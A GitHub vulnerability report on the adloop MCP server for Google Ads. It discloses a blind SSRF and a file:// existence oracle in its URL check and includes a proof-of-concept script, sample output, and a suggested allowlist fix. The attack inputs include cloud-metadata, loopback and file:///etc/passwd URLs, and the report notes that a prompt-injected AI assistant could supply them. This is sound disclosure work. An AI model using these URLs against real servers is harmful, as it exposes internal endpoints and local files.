Skip to content

[Potential Vulnerability] adloop fetches a caller-controlled URL with no scheme/host validation — SSRF + local-file access via final_url #41

@mcfly-zzh

Description

@mcfly-zzh

Summary

adloop is an MCP server giving an AI assistant read/write access to Google Ads + GA4. Several of its "draft" tools accept a final_url (the destination URL of an ad / sitelink) and, as a convenience, verify the URL is reachable before creating the ad. That verification (_validate_urls) passes the caller-supplied URL straight to urllib.request.urlopen() with no scheme allowlist and no host/IP filtering.

Because the URL comes directly from an MCP tool argument (attacker-controlled: a prompt-injected LLM, a malicious tool call, or any client that can reach the server), this is a Server-Side Request Forgery primitive:

  • final_url = http://169.254.169.254/… or http://127.0.0.1:<port>/… → the server issues the request to internal/cloud-metadata/loopback endpoints the caller otherwise can't reach.
  • final_url = file:///etc/passwd → the file:// scheme is not rejected; urlopen opens the local file, and the differing error responses form a local-file existence oracle.

The check runs in the preview/validate step before any authenticated Google Ads API call, so it fires without valid Google credentials — i.e. reachable as soon as the MCP server is running.

The response body is not returned to the caller, so this is a blind SSRF + existence oracle (hence Medium, not High) — still sufficient for internal port-scanning, hitting cloud metadata / internal admin endpoints, and probing local files.

Affected Component

Repository kLOsk/adloop
Package adloop (PyPI)
Tested version 0.9.0
Vulnerable code src/adloop/ads/write.py_validate_urls()
Reached from MCP tool draft_responsive_search_ad (final_url); other draft_*/sitelink tools that pass a URL to _validate_urls

CWE / Classification

CWE-918: Server-Side Request Forgery (SSRF)
CWE-20:  Improper Input Validation (no URL scheme/host allowlist)
CWE-610: Externally Controlled Reference to a Resource (file:// scheme)

Impact (blind): reach internal/loopback/link-local/cloud-metadata HTTP endpoints from the server's network position; local-file existence oracle via file://. Response content is not echoed back.

Root cause

src/adloop/ads/write.py:

def _validate_urls(urls, timeout=10):
    """Check that each URL returns a 2xx/3xx status."""
    import urllib.request, urllib.error
    for url in urls:
        if not url: continue
        try:
            req = urllib.request.Request(url, method="HEAD")   # <-- url is caller-controlled
            req.add_header("User-Agent", "AdLoop-URLCheck/1.0")
            resp = urllib.request.urlopen(req, timeout=timeout) # <-- no scheme/host allowlist; honors file://, http://internal
            ...
        except urllib.error.HTTPError as e:
            if e.code == 405:                                   # HEAD not allowed -> retry as GET
                req = urllib.request.Request(url, method="GET")
                resp = urllib.request.urlopen(req, timeout=timeout)  # <-- real GET to attacker host
            ...

Reached from draft_responsive_search_ad (same file):

errors = _validate_rsa(ad_group_id, headlines, descriptions, final_url)  # local input checks only
if errors: return {"error": "Validation failed", ...}
url_check = _validate_urls([final_url])     # <-- SSRF here, before any Google API call / auth

urllib.request.urlopen supports file:, ftp:, http:, https: and performs no destination filtering; the missing allowlist is the whole bug.

Environment

OS:    Linux x86_64
Python: 3.12
adloop: 0.9.0  (pip install -e .)

Reproduction

The PoC calls the real tool implementation exactly as the MCP draft_responsive_search_ad tool does. No Google credentials are needed. It (1) points final_url at a local "internal" HTTP server and shows the request arrives, and (2) shows file:// is accepted/opened and yields a file-existence oracle.

poc.py

import os, threading, http.server, socketserver
from adloop.config import AdLoopConfig
from adloop.ads import write

HITS = []
class H(http.server.BaseHTTPRequestHandler):
    def do_HEAD(self): HITS.append(self.path); self.send_response(200); self.end_headers()
    def do_GET(self):  HITS.append(self.path); self.send_response(200); self.end_headers(); self.wfile.write(b"ok")
    def log_message(self, *a): pass

httpd = socketserver.TCPServer(("127.0.0.1", 0), H)
PORT = httpd.server_address[1]
threading.Thread(target=httpd.serve_forever, daemon=True).start()

cfg = AdLoopConfig()
HL = ["Launch Your Dream Product", "Innovative Features Today", "Limited Time Offer Now"]
DS = ["Best in class service guaranteed.", "Sign up now and save big."]
draft = lambda u: write.draft_responsive_search_ad(
    cfg, customer_id="1234567890", ad_group_id="123456",
    headlines=HL, descriptions=DS, final_url=u)

# (1) SSRF to an internal endpoint
draft("http://127.0.0.1:%d/ssrf-INTERNAL-METADATA-PROBE" % PORT)
print("internal server HITS:", HITS)

# (2) file:// scheme accepted + existence oracle
secret = "/tmp/adloop_secret_%d" % os.getpid(); open(secret,"w").write("secret\n")
print("exists :", write._validate_urls(["file://"+secret]))
print("missing:", write._validate_urls(["file:///no/such/%d" % os.getpid()]))
print("passwd :", write._validate_urls(["file:///etc/passwd"]))
os.remove(secret); httpd.shutdown()

Run

git clone https://github.com/kLOsk/adloop && cd adloop
python3 -m venv venv && ./venv/bin/pip install -e .
./venv/bin/python poc.py

Observed result

== (1) SSRF -- internal HTTP endpoint ==
   tool returned error?  False
   internal server HITS: ['/ssrf-INTERNAL-METADATA-PROBE']   <- request reached attacker-chosen host

== (2) file:// local-file scheme (oracle) ==
   file://<secret> (exists): {'file:///tmp/adloop_secret_...': "'>=' not supported between instances of 'NoneType' and 'int'"}
   file:///nonexistent:      {'file:///no/such/...': "<urlopen error [Errno 2] No such file or directory: ...>"}
   file:///etc/passwd:       {'file:///etc/passwd': "'>=' not supported between instances of 'NoneType' and 'int'"}

== verdict ==
  SSRF to internal host:                 CONFIRMED
  file:// scheme NOT rejected (opened):  CONFIRMED   (urlopen opens the file; fuzzing also observed a real read of /etc/passwd)
  file-existence oracle (err differs):   CONFIRMED   (existing file vs missing file return distinguishable errors)

The internal listener received the request (blind SSRF). For file://, urlopen opens the target (the '>=' not supported… error is the code crashing on a file: response that has no HTTP .status, after the file was opened); a missing file yields a different FileNotFoundError string — a usable existence oracle.

Expected result

A URL-reachability check should only ever make outbound http/https requests to public hosts. file://, ftp://, loopback, link-local, private, and cloud-metadata targets must be rejected before any network/file access.

Suggested fix

Validate scheme and resolved destination before urlopen:

import ipaddress, socket
from urllib.parse import urlparse

def _is_public_http_url(url: str) -> bool:
    p = urlparse(url)
    if p.scheme not in ("http", "https"):        # blocks file://, ftp://, etc.
        return False
    host = p.hostname
    if not host:
        return False
    try:
        for _, _, _, _, sa in socket.getaddrinfo(host, None):
            ip = ipaddress.ip_address(sa[0])
            if (ip.is_private or ip.is_loopback or ip.is_link_local
                    or ip.is_reserved or ip.is_multicast):
                return False                      # blocks 127.0.0.1, 169.254.169.254, 10/8, etc.
    except Exception:
        return False
    return True

Then in _validate_urls, skip/return an error for any URL where not _is_public_http_url(url). Also disable (or apply the same check to) the HTTP-405 GET fallback, and consider not following redirects to non-public hosts.

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions